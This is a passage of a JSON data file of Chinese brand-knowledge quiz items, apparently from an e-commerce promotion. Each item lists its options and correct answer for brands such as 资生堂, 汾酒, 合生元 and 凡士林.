04:39:24","status":"1"},{"questionId":"4901451756","questionIndex":"2","questionStem":"以下哪个系列的产品不是大王的?","options":"[{\"optionId\":\"L80Sx0BWjjl03inwQkmfcv73SNY4J7AFPA\",\"optionDesc\":\"皇家系列\\t\\t\"},{\"optionId\":\"L80Sx0BWjjl03inwQkmfcHkk11giQzVPlg\",\"optionDesc\":\"光羽系列\"},{\"optionId\":\"L80Sx0BWjjl03inwQkmfcSo1KMjVkccUIA\",\"optionDesc\":\"天使系列\"}]","questionToken":"L80Sx0BWjjl03imhUQGEIBi-Ivjn9M3vCd6V6qZfzSs8yxe695ePERQGQ5dNHOi7CR4rRGIdOfPSo46N31M2Xk20JVwbTQ","correct":"{\"optionId\":\"L80Sx0BWjjl03inwQkmfcv73SNY4J7AFPA\",\"optionDesc\":\"皇家系列\\t\\t\"}","create_time":"27/1/2021 04:49:03","update_time":"27/1/2021 04:49:03","status":"1"},{"questionId":"4901451757","questionIndex":"2","questionStem":"大王goo.n最高端的是哪个系列?","options":"[{\"optionId\":\"L80Sx0BWjjl03ynwQkmfcEt-e195tpp_Pg\",\"optionDesc\":\"花信风系列\"},{\"optionId\":\"L80Sx0BWjjl03ynwQkmfcqMuGOG05JHG7g\",\"optionDesc\":\"鎏金系列\"},{\"optionId\":\"L80Sx0BWjjl03ynwQkmfcf08MAjwHbHuDA\",\"optionDesc\":\"天使系列\"}]","questionToken":"L80Sx0BWjjl03ymhUQGEIJsSDc9MgFPF9kvhrSoCO8bm5u-tO6FtqlYBF1ohiu0mtVA11oNoKs2nCPtoWAIExqJXGodzjQ","correct":"{\"optionId\":\"L80Sx0BWjjl03ynwQkmfcqMuGOG05JHG7g\",\"optionDesc\":\"鎏金系列\"}","create_time":"27/1/2021 04:33:07","update_time":"27/1/2021 04:33:07","status":"1"},{"questionId":"4901451758","questionIndex":"5","questionStem":"以下哪个不属于大王goo.n业务的?","options":"[{\"optionId\":\"L80Sx0BWjjl00CnwQkmfcAHM6_smXNGLmvwX\",\"optionDesc\":\"婴儿纸尿裤\"},{\"optionId\":\"L80Sx0BWjjl00CnwQkmfcct6iSOcCYrQX-LN\",\"optionDesc\":\"清洁纸品\"},{\"optionId\":\"L80Sx0BWjjl00CnwQkmfcmaH1N3WEgkgXJQP\",\"optionDesc\":\"婴儿喂养\\t\\t\"}]","questionToken":"L80Sx0BWjjl00CmmUQGEJ2qHWr20_C6brAE2yIuELSRfQfXLxwUToYAMHCCk7wXtgdSqPIgNZBBhAPOwKhQ4j-q5FuoGjw","correct":"{\"optionId\":\"L80Sx0BWjjl00CnwQkmfcmaH1N3WEgkgXJQP\",\"optionDesc\":\"婴儿喂养\\t\\t\"}","create_time":"27/1/2021 04:49:00","update_time":"27/1/2021 04:49:00","status":"1"},{"questionId":"4901451759","questionIndex":"3","questionStem":"资生堂是哪个国家的品牌?","options":"[{\"optionId\":\"L80Sx0BWjjl00SnwQkmfcEIxomXGqOaFAbeVbA\",\"optionDesc\":\"中国\"},{\"optionId\":\"L80Sx0BWjjl00SnwQkmfceLC7Kdu5OAg1GIzhQ\",\"optionDesc\":\"美国\"},{\"optionId\":\"L80Sx0BWjjl00SnwQkmfcnNcILGtQZAB78CasA\",\"optionDesc\":\"日本\\t\\t\"}]","questionToken":"L80Sx0BWjjl00SmgUQGEJ1dhbww6WrJ0fAOpeBusaPOGmgEgyKx_p46v02j1VvCwd2LV-_BW3A3WFKa2N4IkjlaoolU9vA","correct":"{\"optionId\":\"L80Sx0BWjjl00SnwQkmfcnNcILGtQZAB78CasA\",\"optionDesc\":\"日本\\t\\t\"}","create_time":"27/1/2021 04:36:41","update_time":"27/1/2021 04:36:41","status":"1"},{"questionId":"4901451760","questionIndex":"4","questionStem":"哪个品牌不属于资生堂?","options":"[{\"optionId\":\"L80Sx0BWjjl32CnwQkmfcDTaVQ_Opl_zp5A\",\"optionDesc\":\"可悠然\"},{\"optionId\":\"L80Sx0BWjjl32CnwQkmfclQZF15x5HOfKYs\",\"optionDesc\":\"飘柔\\t\\t\"},{\"optionId\":\"L80Sx0BWjjl32CnwQkmfcUKE89ZpNGAsosQ\",\"optionDesc\":\"惠润\"}]","questionToken":"L80Sx0BWjjl32CmnUQGEILuufUSOs4CY0CjomGWtrYBuDMYW5KeB3UqID9UYJ7KDxjfCn3GUsixP6XOhGHBk9fP8cP9Ggw","correct":"{\"optionId\":\"L80Sx0BWjjl32CnwQkmfclQZF15x5HOfKYs\",\"optionDesc\":\"飘柔\\t\\t\"}","create_time":"27/1/2021 04:48:15","update_time":"27/1/2021 04:48:15","status":"1"},{"questionId":"4901451761","questionIndex":"4","questionStem":"以下哪个不属于资生堂业务的?","options":"[{\"optionId\":\"L80Sx0BWjjl32SnwQkmfcKtqe7sVnQX7yjA\",\"optionDesc\":\"身体护理\"},{\"optionId\":\"L80Sx0BWjjl32SnwQkmfcbkizKoYOyUwwIs\",\"optionDesc\":\"洗发护发\"},{\"optionId\":\"L80Sx0BWjjl32SnwQkmfcst6wC4ibdZ62uI\",\"optionDesc\":\"营养健康\\t\\t\"}]","questionToken":"L80Sx0BWjjl32SmnUQGEJ1A9L4S2jg4MMy3JTQt7pwytxcVzQZHoXe08Qhywv2SSv9PeCxSDDRh2y_PMEVvZbNta2q95IA","correct":"{\"optionId\":\"L80Sx0BWjjl32SnwQkmfcst6wC4ibdZ62uI\",\"optionDesc\":\"营养健康\\t\\t\"}","create_time":"27/1/2021 04:40:41","update_time":"27/1/2021 04:40:41","status":"1"},{"questionId":"4901451762","questionIndex":"3","questionStem":"资生堂最畅销的品牌是哪个?","options":"[{\"optionId\":\"L80Sx0BWjjl32inwQkmfcuvqHB5fD7TAta-_mA\",\"optionDesc\":\"惠润\\t\\t\"},{\"optionId\":\"L80Sx0BWjjl32inwQkmfcbEDDI-AI2DKw45Amw\",\"optionDesc\":\"珊珂\"},{\"optionId\":\"L80Sx0BWjjl32inwQkmfcJYOxxsdJ5_tpBJb5g\",\"optionDesc\":\"丝蓓绮\"}]","questionToken":"L80Sx0BWjjl32imgUQGEJ3gidoDlRVOq_lG-_BXfE-pKPoAl-u035YUBxW2Re9nXYKk_Oo7IeuDUtkidC4b481pnopMlRA","correct":"{\"optionId\":\"L80Sx0BWjjl32inwQkmfcuvqHB5fD7TAta-_mA\",\"optionDesc\":\"惠润\\t\\t\"}","create_time":"27/1/2021 04:49:18","update_time":"27/1/2021 04:49:18","status":"1"},{"questionId":"4901451763","questionIndex":"5","questionStem":"资生堂标志的颜色是哪个?","options":"[{\"optionId\":\"L80Sx0BWjjl32ynwQkmfcQP7kPU5UHsKWQE\",\"optionDesc\":\"蓝色\"},{\"optionId\":\"L80Sx0BWjjl32ynwQkmfci6IqMuqiINiTu0\",\"optionDesc\":\"红色\\t\\t\"},{\"optionId\":\"L80Sx0BWjjl32ynwQkmfcMJVSQRJtATqHqM\",\"optionDesc\":\"绿色\"}]","questionToken":"L80Sx0BWjjl32ymmUQGEIGNq-hetky_kcH250U5JalIAMO735NmUE36nr74mlnl40XOaBLudn5QSdHSO3TZ47t6-Iz2MIw","correct":"{\"optionId\":\"L80Sx0BWjjl32ynwQkmfci6IqMuqiINiTu0\",\"optionDesc\":\"红色\\t\\t\"}","create_time":"27/1/2021 04:53:30","update_time":"27/1/2021 04:53:30","status":"1"},{"questionId":"4901451764","questionIndex":"4","questionStem":"汾酒产自哪里?","options":"[{\"optionId\":\"L80Sx0BWjjl33CnwQkmfcuhlXavPofhnF_KA\",\"optionDesc\":\"山西\\t\\t\"},{\"optionId\":\"L80Sx0BWjjl33CnwQkmfcP6CwZVvQtAyjMSV\",\"optionDesc\":\"贵州\"},{\"optionId\":\"L80Sx0BWjjl33CnwQkmfcVF6YMm_QsXJfmTf\",\"optionDesc\":\"陕西\"}]","questionToken":"L80Sx0BWjjl33CmnUQGEJ-vx-aJEgQuZaaCpU8RRGH11BUYYeSRXL6KUBe2Jwv5gSEDAKoaNUiAXm8_stTz2kbbXCqiytA","correct":"{\"optionId\":\"L80Sx0BWjjl33CnwQkmfcuhlXavPofhnF_KA\",\"optionDesc\":\"山西\\t\\t\"}","create_time":"27/1/2021 04:51:39","update_time":"27/1/2021 04:51:39","status":"1"},{"questionId":"4901451766","questionIndex":"4","questionStem":"汾酒是属于什么香型的白酒?","options":"[{\"optionId\":\"L80Sx0BWjjl33inwQkmfcWPoWqRMC7XvCNEl\",\"optionDesc\":\"酱香型\"},{\"optionId\":\"L80Sx0BWjjl33inwQkmfck4WfdVBaDB3eljN\",\"optionDesc\":\"清香型\\t\\t\"},{\"optionId\":\"L80Sx0BWjjl33inwQkmfcHO1DNjD3zsIINxG\",\"optionDesc\":\"浓香型\"}]","questionToken":"L80Sx0BWjjl33imnUQGEINRj4kWqf7NM4NsAmcaF8ZEvO5phKzw-xTxRgW8AYyBWJwkfAVqegO3OYLbE6DdZ83v9FyHxJg","correct":"{\"optionId\":\"L80Sx0BWjjl33inwQkmfck4WfdVBaDB3eljN\",\"optionDesc\":\"清香型\\t\\t\"}","create_time":"27/1/2021 04:39:56","update_time":"27/1/2021 04:39:56","status":"1"},{"questionId":"4901451767","questionIndex":"3","questionStem":"汾酒最畅销的是哪款?","options":"[{\"optionId\":\"L80Sx0BWjjl33ynwQkmfcfQCJ-SEvZ8b9aCX\",\"optionDesc\":\"乳玻汾\"},{\"optionId\":\"L80Sx0BWjjl33ynwQkmfcH_7wawyJfFqg6lT\",\"optionDesc\":\"封坛\"},{\"optionId\":\"L80Sx0BWjjl33ynwQkmfcp2v5WbQofhioDEY\",\"optionDesc\":\"黄盖玻汾\\t\\t\"}]","questionToken":"L80Sx0BWjjl33ymgUQGEIJS1XWdnYScaQwMLF41ss-VDcwd1r3AzQFTIP1V8EJlVaArXgrsv35G9d8rTY9fgmcMC9rPVuA","correct":"{\"optionId\":\"L80Sx0BWjjl33ynwQkmfcp2v5WbQofhioDEY\",\"optionDesc\":\"黄盖玻汾\\t\\t\"}","create_time":"27/1/2021 04:35:34","update_time":"27/1/2021 04:35:34","status":"1"},{"questionId":"4901451768","questionIndex":"3","questionStem":"汾酒最具代表的是哪款?","options":"[{\"optionId\":\"L80Sx0BWjjl30CnwQkmfcmVedPKKQ1oN\",\"optionDesc\":\"青花30\\t\\t\"},{\"optionId\":\"L80Sx0BWjjl30CnwQkmfcKAP9V41Ve2B\",\"optionDesc\":\"乳玻汾\"},{\"optionId\":\"L80Sx0BWjjl30CnwQkmfcYVwzPo-gRnp\",\"optionDesc\":\"黄盖玻汾\"}]","questionToken":"L80Sx0BWjjl30CmgUQGEJ6kS_QYQhwrOcoCbdL5B7BSAE5lgRyHZdA8HNS9Mca-9zGgX8ck9oHCbSh6hKjjf9J5ZE971Gw","correct":"{\"optionId\":\"L80Sx0BWjjl30CnwQkmfcmVedPKKQ1oN\",\"optionDesc\":\"青花30\\t\\t\"}","create_time":"27/1/2021 04:53:03","update_time":"27/1/2021 04:53:03","status":"1"},{"questionId":"4901451772","questionIndex":"1","questionStem":"如何辨别汾酒的真伪?","options":"[{\"optionId\":\"L80Sx0BWjjl22inwQkmfcbSgFURbRL2OHeIEJg\",\"optionDesc\":\"尝试酒劲大小\"},{\"optionId\":\"L80Sx0BWjjl22inwQkmfcNtylMRxGKSBRRKVPw\",\"optionDesc\":\"闻酒香浓度\"},{\"optionId\":\"L80Sx0BWjjl22inwQkmfcqMV-10TpoN5Fh4Htw\",\"optionDesc\":\"用手机扫瓶身二维码识别\"}]","questionToken":"L80Sx0BWjjl22imiUQGEJzgxPlAnKl8QUfQtF-dZIYbIIzJJ0_JK6R32czSRurktdY1O6VUdapSl4M1RA2emhfjLZse9gw","correct":"{\"optionId\":\"L80Sx0BWjjl22inwQkmfcqMV-10TpoN5Fh4Htw\",\"optionDesc\":\"用手机扫瓶身二维码识别\"}","create_time":"27/1/2021 03:39:49","update_time":"27/1/2021 03:39:49","status":"1"},{"questionId":"4901451773","questionIndex":"5","questionStem":"合生元品牌历史有多久?","options":"[{\"optionId\":\"L80Sx0BWjjl22ynwQkmfcc-ZL095iwe3037F\",\"optionDesc\":\"5年\"},{\"optionId\":\"L80Sx0BWjjl22ynwQkmfcjf394TulKcQVshA\",\"optionDesc\":\"20年以上\"},{\"optionId\":\"L80Sx0BWjjl22ynwQkmfcIy-9r5H55iSHjLA\",\"optionDesc\":\"10年\"}]","questionToken":"L80Sx0BWjjl22ymmUQGEJ52szeMw73wBE48QWNUKhEi7j1pso98Mo_pNYh0qenTzd9ueu5ruVa2qq8G4JHuDye5XjIPWiw","correct":"{\"optionId\":\"L80Sx0BWjjl22ynwQkmfcjf394TulKcQVshA\",\"optionDesc\":\"20年以上\"}","create_time":"27/1/2021 04:44:16","update_time":"27/1/2021 04:44:16","status":"1"},{"questionId":"4901451774","questionIndex":"5","questionStem":"以下哪个品牌不属于合生元集团?","options":"[{\"optionId\":\"L80Sx0BWjjl23CnwQkmfclV9_118Nr6c9WdyMg\",\"optionDesc\":\"妈咪爱\\t\\t\"},{\"optionId\":\"L80Sx0BWjjl23CnwQkmfcTqo18DrQzNj47_Bgg\",\"optionDesc\":\"Swisse\"},{\"optionId\":\"L80Sx0BWjjl23CnwQkmfcCkmtMItQZUWWO7CeQ\",\"optionDesc\":\"Dodie\"}]","questionToken":"L80Sx0BWjjl23CmmUQGEJx2CnGU2qdRHabbP_wLdMLxmig0xN6LAFvnF6czaIqVXH6NoNrePCsdL2PyUFZq3T0lSwVPOAg","correct":"{\"optionId\":\"L80Sx0BWjjl23CnwQkmfclV9_118Nr6c9WdyMg\",\"optionDesc\":\"妈咪爱\\t\\t\"}","create_time":"27/1/2021 04:49:18","update_time":"27/1/2021 04:49:18","status":"1"},{"questionId":"4901451775","questionIndex":"1","questionStem":"以下哪个不属于合生元业务?","options":"[{\"optionId\":\"L80Sx0BWjjl23SnwQkmfcFbw533q7lpg3qYj6w\",\"optionDesc\":\"婴幼儿益生菌\"},{\"optionId\":\"L80Sx0BWjjl23SnwQkmfceC9kcbxZ5EwnEJpNg\",\"optionDesc\":\"婴幼儿奶粉\"},{\"optionId\":\"L80Sx0BWjjl23SnwQkmfciHOl7pxE2vIn2OS_g\",\"optionDesc\":\"成人奶粉\\t\\t\"}]","questionToken":"L80Sx0BWjjl23SmiUQGEIPLSb2SGSRpSpZsUQZlfCtDYwTycPmS788XL-qBR4BrwGps347iB7AhyJR2IRGweA9NDugemrQ","correct":"{\"optionId\":\"L80Sx0BWjjl23SnwQkmfciHOl7pxE2vIn2OS_g\",\"optionDesc\":\"成人奶粉\\t\\t\"}","create_time":"27/1/2021 04:40:06","update_time":"27/1/2021 04:40:06","status":"1"},{"questionId":"4901451776","questionIndex":"5","questionStem":"以下哪个品类奶粉合生元没有涉猎?","options":"[{\"optionId\":\"L80Sx0BWjjl23inwQkmfcVadT4rvKLKgjA\",\"optionDesc\":\"羊奶粉\"},{\"optionId\":\"L80Sx0BWjjl23inwQkmfcCNSeIjyl5mrZQ\",\"optionDesc\":\"有机奶粉\"},{\"optionId\":\"L80Sx0BWjjl23inwQkmfctOfVbYv7Ur18w\",\"optionDesc\":\"特配奶粉\\t\\t\"}]","questionToken":"L80Sx0BWjjl23immUQGEJ1k14nKwAGrDvFVHtDv5GhpdMUQ6axF9iN7rHSsU9cN-h0pcaoQRgOUH6b21cXfE7tXj_C5hcw","correct":"{\"optionId\":\"L80Sx0BWjjl23inwQkmfctOfVbYv7Ur18w\",\"optionDesc\":\"特配奶粉\\t\\t\"}","create_time":"27/1/2021 04:48:51","update_time":"27/1/2021 04:48:51","status":"1"},{"questionId":"4901451777","questionIndex":"3","questionStem":"以下哪个不是合生元派星系列奶粉的特点?","options":"[{\"optionId\":\"L80Sx0BWjjl23ynwQkmfcMH-wbFIyotQNWMB\",\"optionDesc\":\"亲和结构脂\"},{\"optionId\":\"L80Sx0BWjjl23ynwQkmfcsF4qzcBrGE58kPc\",\"optionDesc\":\"口味浓郁\\t\\t\"},{\"optionId\":\"L80Sx0BWjjl23ynwQkmfceeuVgQqBZw725x3\",\"optionDesc\":\"比乳铁蛋白珍稀\"}]","questionToken":"L80Sx0BWjjl23ymgUQGEJ2b-oNxKXUSrcDWYR6R_3y1PBe1KhZjl7KdvaV3Mp4pA0q4Y6627W-uCY_di5YaVH3dq6fMZwQ","correct":"{\"optionId\":\"L80Sx0BWjjl23ynwQkmfcsF4qzcBrGE58kPc\",\"optionDesc\":\"口味浓郁\\t\\t\"}","create_time":"27/1/2021 04:41:47","update_time":"27/1/2021 04:41:47","status":"1"},{"questionId":"6001429786","questionIndex":"1","questionStem":"美瞳是强生的注册商标吗?","options":"[{\"optionId\":\"LcQSx0BRhjkYVk74eZSj5x7R94kgQwlLUP0\",\"optionDesc\":\"不是\"},{\"optionId\":\"LcQSx0BRhjkYVk74eZSj5hPzoEPU7kEqGvg\",\"optionDesc\":\"不清楚\"},{\"optionId\":\"LcQSx0BRhjkYVk74eZSj5MOg_BDkA8NEO0I\",\"optionDesc\":\"是\"}]","questionToken":"LcQSx0BRhjkYVk6qaty4tpyHZd1oywGb56qYqDuhMS8Qmgxz4uzYPlahowfCMN0PRs18R55FPV5upL91Rv202E0vwM-5Tg","correct":"{\"optionId\":\"LcQSx0BRhjkYVk74eZSj5MOg_BDkA8NEO0I\",\"optionDesc\":\"是\"}","create_time":"2/2/2021 16:47:42","update_time":"2/2/2021 16:47:42","status":"1"},{"questionId":"6001429787","questionIndex":"5","questionStem":"强生隐形眼镜提倡的是?","options":"[{\"optionId\":\"LcQSx0BRhjkYV074eZSj5woYKdvdSmZ2S_2h\",\"optionDesc\":\"抛型周期越长越划算 \"},{\"optionId\":\"LcQSx0BRhjkYV074eZSj5td7aFAIA77eOHuv\",\"optionDesc\":\"美瞳色素越夸张越好\"},{\"optionId\":\"LcQSx0BRhjkYV074eZSj5HVRw-hUwB8F8O-E\",\"optionDesc\":\"抛型周期越短越健康 \\t\\t\"}]","questionToken":"LcQSx0BRhjkYV06uaty4scAiljLix2LY_3y_4d3vWa_NxrijnpOyFrCz5Ky9qY9KybWcrNRehbgOZjskPu0E2YTsQ7Cpyg","correct":"{\"optionId\":\"LcQSx0BRhjkYV074eZSj5HVRw-hUwB8F8O-E\",\"optionDesc\":\"抛型周期越短越健康 \\t\\t\"}","create_time":"2/2/2021 16:47:30","update_time":"2/2/2021 16:47:30","status":"1"},{"questionId":"6001429788","questionIndex":"3","questionStem":"以下哪个不是强生隐形眼镜售卖的抛型?","options":"[{\"optionId\":\"LcQSx0BRhjkYWE74eZSj5qacv42WrvrhEw\",\"optionDesc\":\"双周抛\"},{\"optionId\":\"LcQSx0BRhjkYWE74eZSj5wiGMorE6lFssw\",\"optionDesc\":\"日抛\"},{\"optionId\":\"LcQSx0BRhjkYWE74eZSj5Iubm06k49eZ9Q\",\"optionDesc\":\"年抛 \\t \\t\"}]","questionToken":"LcQSx0BRhjkYWE6oaty4sXueUKVBt80--3iLm0HVJqAJBweWVpXyPRBDib8pXtQ_Bs82bGGsDk3fg2gaRXhyRRpWMrp5fQ","correct":"{\"optionId\":\"LcQSx0BRhjkYWE74eZSj5Iubm06k49eZ9Q\",\"optionDesc\":\"年抛 \\t \\t\"}","create_time":"2/2/2021 16:47:29","update_time":"2/2/2021 16:47:29","status":"1"},{"questionId":"6001429791","questionIndex":"1","questionStem":"三枪品牌创始于哪一年?","options":"[{\"optionId\":\"LcQSx0BRhjkZUU74eZSj5vcklVOsNK7y-1_3\",\"optionDesc\":\"1957\"},{\"optionId\":\"LcQSx0BRhjkZUU74eZSj57dcwWrZ0roGqiNq\",\"optionDesc\":\"1994\"},{\"optionId\":\"LcQSx0BRhjkZUU74eZSj5BYA5FfF_8maWYH4\",\"optionDesc\":\"1937\\t\\t\"}]","questionToken":"LcQSx0BRhjkZUU6qaty4tuR-0jzYFdp-odTmouxkm5bHpHQB4m44_FOecKgFbDzANWs31TRuxoqgmZ9XVEJ56OB_2LZBTA","correct":"{\"optionId\":\"LcQSx0BRhjkZUU74eZSj5BYA5FfF_8maWYH4\",\"optionDesc\":\"1937\\t\\t\"}","create_time":"2/2/2021 16:47:56","update_time":"2/2/2021 16:47:56","status":"1"},{"questionId":"6001429795","questionIndex":"3","questionStem":"佳佰 万信达在京东主营什么产品?","options":"[{\"optionId\":\"LcQSx0BRhjkZVU74eZSj5KCUHY65he-1UeAF\",\"optionDesc\":\"口罩\\t\"},{\"optionId\":\"LcQSx0BRhjkZVU74eZSj58NVbh5EwP7vbQOC\",\"optionDesc\":\"箱包\\t\"},{\"optionId\":\"LcQSx0BRhjkZVU74eZSj5rtuZw0-HcD-16CY\",\"optionDesc\":\"护肤品\"}]","questionToken":"LcQSx0BRhjkZVU6oaty4saIse_zPzUm6Clex2SI9FYJKImS_QPjNwTyOvHbbceoKyfyrY7EJkb6VcbLyN1e9FlyCFcn-tA","correct":"{\"optionId\":\"LcQSx0BRhjkZVU74eZSj5KCUHY65he-1UeAF\",\"optionDesc\":\"口罩\\t\"}","create_time":"2/2/2021 16:47:38","update_time":"2/2/2021 16:47:38","status":"1"},{"questionId":"6001429796","questionIndex":"2","questionStem":"佳佰 万信达今年推出了什么产品?","options":"[{\"optionId\":\"LcQSx0BRhjkZVk74eZSj5xAe-yjzAtMpUw\",\"optionDesc\":\"拜年箱包\\t\"},{\"optionId\":\"LcQSx0BRhjkZVk74eZSj5kyNlZuqwYGpLg\",\"optionDesc\":\"拜年手机\"},{\"optionId\":\"LcQSx0BRhjkZVk74eZSj5DYbQcW0_gcJdg\",\"optionDesc\":\"拜年口罩\\t\"}]","questionToken":"LcQSx0BRhjkZVk6paty4thJ8G4Yiuju_3ih37MtEkoLMrlO8v_mgGrVp5G2aPqmTmf2125R_CafjRCxAGiwPVj_nLX3XRQ","correct":"{\"optionId\":\"LcQSx0BRhjkZVk74eZSj5DYbQcW0_gcJdg\",\"optionDesc\":\"拜年口罩\\t\"}","create_time":"2/2/2021 16:47:41","update_time":"2/2/2021 16:47:41","status":"1"},{"questionId":"6001429797","questionIndex":"2","questionStem":"佳佰 万信达LOGO简称是?","options":"[{\"optionId\":\"LcQSx0BRhjkZV074eZSj5G9czggkG1DtH4Q\",\"optionDesc\":\"WXD\\t\"},{\"optionId\":\"LcQSx0BRhjkZV074eZSj5kskSKAbz3XWrMQ\",\"optionDesc\":\"WDX\"},{\"optionId\":\"LcQSx0BRhjkZV074eZSj5-7m35ZA2IUPjb8\",\"optionDesc\":\"WXDD\\t\"}]","questionToken":"LcQSx0BRhjkZV06paty4sfzRzTDB665mX6KBZKmvHkEFnFShctZwl357C8-lW5lVx_AEa17312kNVDHPTpY7LPFzImMsiQ","correct":"{\"optionId\":\"LcQSx0BRhjkZV074eZSj5G9czggkG1DtH4Q\",\"optionDesc\":\"WXD\\t\"}","create_time":"2/2/2021 16:47:51","update_time":"2/2/2021 16:47:51","status":"1"},{"questionId":"6001429798","questionIndex":"3","questionStem":"以下哪个不是佳佰 万信达的拜年口罩类型?","options":"[{\"optionId\":\"LcQSx0BRhjkZWE74eZSj5AeN67qnkSna-g0cbQ\",\"optionDesc\":\"福星高照\\t\"},{\"optionId\":\"LcQSx0BRhjkZWE74eZSj5kBeRF7W5_RisEtT-A\",\"optionDesc\":\"牛年顺利\"},{\"optionId\":\"LcQSx0BRhjkZWE74eZSj57BeIUgM2YreLuOs2w\",\"optionDesc\":\"牛转乾坤\\t\"}]","questionToken":"LcQSx0BRhjkZWE6oaty4sfGrMAy4pIqsXFsb-4UOj9LisBl14tubayXYznZY70FZlHvWALqbBTkUq_4GmbC62-at6UwCfg","correct":"","create_time":"2/2/2021 16:48:26","update_time":"2/2/2021 16:48:26","status":"1"},{"questionId":"6001429799","questionIndex":"1","questionStem":"以下哪个是佳佰 万信达产品的覆盖范围?","options":"[{\"optionId\":\"LcQSx0BRhjkZWU74eZSj5AoWg7iRxIWDHbuk\",\"optionDesc\":\"中国\"},{\"optionId\":\"LcQSx0BRhjkZWU74eZSj50ig-7wPts9s4Hsp\",\"optionDesc\":\"英国\"},{\"optionId\":\"LcQSx0BRhjkZWU74eZSj5vdHQ-pySdf2bmgr\",\"optionDesc\":\"俄罗斯\"}]","questionToken":"LcQSx0BRhjkZWU6qaty4sRLZs4ZTwixEkzpCwVxvJIgThjcZTxMpMsEDsbXIqumT9_KhEmP5rjY1zoSs9wM_fusx3kKurw","correct":"{\"optionId\":\"LcQSx0BRhjkZWU74eZSj5AoWg7iRxIWDHbuk\",\"optionDesc\":\"中国\"}","create_time":"2/2/2021 16:47:37","update_time":"2/2/2021 16:47:37","status":"1"},{"questionId":"6001429822","questionIndex":"3","questionStem":"美赞臣在中国的总部是在?","options":"[{\"optionId\":\"LcQSx0BRhjaCFN4Xzx0OS1O5WXQQrWodg6fP\",\"optionDesc\":\"北京\"},{\"optionId\":\"LcQSx0BRhjaCFN4Xzx0OSTpqOCtwucpH8QbB\",\"optionDesc\":\"广州\\t\"},{\"optionId\":\"LcQSx0BRhjaCFN4Xzx0OSvbFOT4KhHL2Ig05\",\"optionDesc\":\"上海\\t\"}]","questionToken":"LcQSx0BRhjaCFN5H3FUVHHbPUBqTP-KbkTxjSDfe2x44ClFX3FOuw-EHKM-5AkbBv7E1ZA1FzmbHc963iu9D7d-yHaNiyg","correct":"{\"optionId\":\"LcQSx0BRhjaCFN4Xzx0OSTpqOCtwucpH8QbB\",\"optionDesc\":\"广州\\t\"}","create_time":"2/2/2021 16:47:56","update_time":"2/2/2021 16:47:56","status":"1"},{"questionId":"6001429824","questionIndex":"4","questionStem":"凡士林的品牌logo颜色是?","options":"[{\"optionId\":\"LcQSx0BRhjaCEt4Xzx0OSqhDGFPtvityluqpvg\",\"optionDesc\":\"粉白\\t\"},{\"optionId\":\"LcQSx0BRhjaCEt4Xzx0OS_DZCPVVJQNYeZ-DPw\",\"optionDesc\":\"黄白\"},{\"optionId\":\"LcQSx0BRhjaCEt4Xzx0OSQufQY6isqr6J2RQYw\",\"optionDesc\":\"蓝白\"}]","questionToken":"LcQSx0BRhjaCEt5A3FUVHI9rmHEGLdNGbW3Vtzvnq0q45IPRWp7eMXLI5bCPZjAZ0Iw8CPHlqxPt6EkrOzEGuG3N1YsoHw","correct":"{\"optionId\":\"LcQSx0BRhjaCEt4Xzx0OSQufQY6isqr6J2RQYw\",\"optionDesc\":\"蓝白\"}","create_time":"2/2/2021 16:47:32","update_time":"2/2/2021 16:47:32","status":"1"},{"questionId":"6001429825","questionIndex":"5","questionStem":"凡士林晶冻的主要功能是?","options":"[{\"optionId\":\"LcQSx0BRhjaCE94Xzx0OSSZayxyixj6siW5z4Q\",\"optionDesc\":\"修护\\t\"},{\"optionId\":\"LcQSx0BRhjaCE94Xzx0OS-Uonol1zbYQwqA1qA\",\"optionDesc\":\"抗衰\"},{\"optionId\":\"LcQSx0BRhjaCE94Xzx0OSmjqRJb-2PELM1bh_w\",\"optionDesc\":\"美白\\t\"}]","questionToken":"LcQSx0BRhjaCE95B3FUVHCzVPCfXFiY0rnHrfYXfvLcx960Z5gft2UeioypWn5LRGF9BWFIK4IfpAXWZCD3kvuvG8Ld4pA","correct":"{\"optionId\":\"LcQSx0BRhjaCE94Xzx0OSSZayxyixj6siW5z4Q\",\"optionDesc\":\"修护\\t\"}","create_time":"2/2/2021 16:47:32","update_time":"2/2/2021 16:47:32","status":"1"},{"questionId":"6001429826","questionIndex":"5","questionStem":"凡士林的哪个产品曾在战争时作为医疗用途?","options":"[{\"optionId\":\"LcQSx0BRhjaCEN4Xzx0OSbfTgG-r-hURsE0Z\",\"optionDesc\":\"晶冻\\t\\t\"},{\"optionId\":\"LcQSx0BRhjaCEN4Xzx0OSpjkN_FjaK18KMZD\",\"optionDesc\":\"大粉瓶身体乳\"},{\"optionId\":\"LcQSx0BRhjaCEN4Xzx0OSw6g9lDIU60jzwbf\",\"optionDesc\":\"手膜\"}]","questionToken":"LcQSx0BRhjaCEN5B3FUVG3cGDjB9E1t2yVwupbZg71_coSw6C0ynDGMx8IGCXmpMcy7x07rusqz86YpaQQ8Pcv9ooQh-9A","correct":"{\"optionId\":\"LcQSx0BRhjaCEN4Xzx0OSbfTgG-r-hURsE0Z\",\"optionDesc\":\"晶冻\\t\\t\"}","create_time":"2/2/2021 16:47:59","update_time":"2/2/2021 16:47:59","status":"1"},{"questionId":"6001429827","questionIndex":"2","questionStem":"凡士林精华身体乳derma 5号主要功效是?","options":"[{\"optionId\":\"LcQSx0BRhjaCEd4Xzx0OS16mwQ33eJvb4JBp\",\"optionDesc\":\"除皱纹\"},{\"optionId\":\"LcQSx0BRhjaCEd4Xzx0OSgjBertvu4jlKunp\",\"optionDesc\":\"美白\\t\"},{\"optionId\":\"LcQSx0BRhjaCEd4Xzx0OScl0kNzpISew8U4x\",\"optionDesc\":\"去鸡皮\\t\"}]","questionToken":"LcQSx0BRhjaCEd5G3FUVGwL9BGDzybyAvooUv3M9eJdTTWCyl8tsDiyWO6mPm03JUw06OtT_wkQWq7KS0jVL1RQXVS8rCw","correct":"{\"optionId\":\"LcQSx0BRhjaCEd4Xzx0OScl0kNzpISew8U4x\",\"optionDesc\":\"去鸡皮\\t\"}","create_time":"2/2/2021 16:47:40","update_time":"2/2/2021 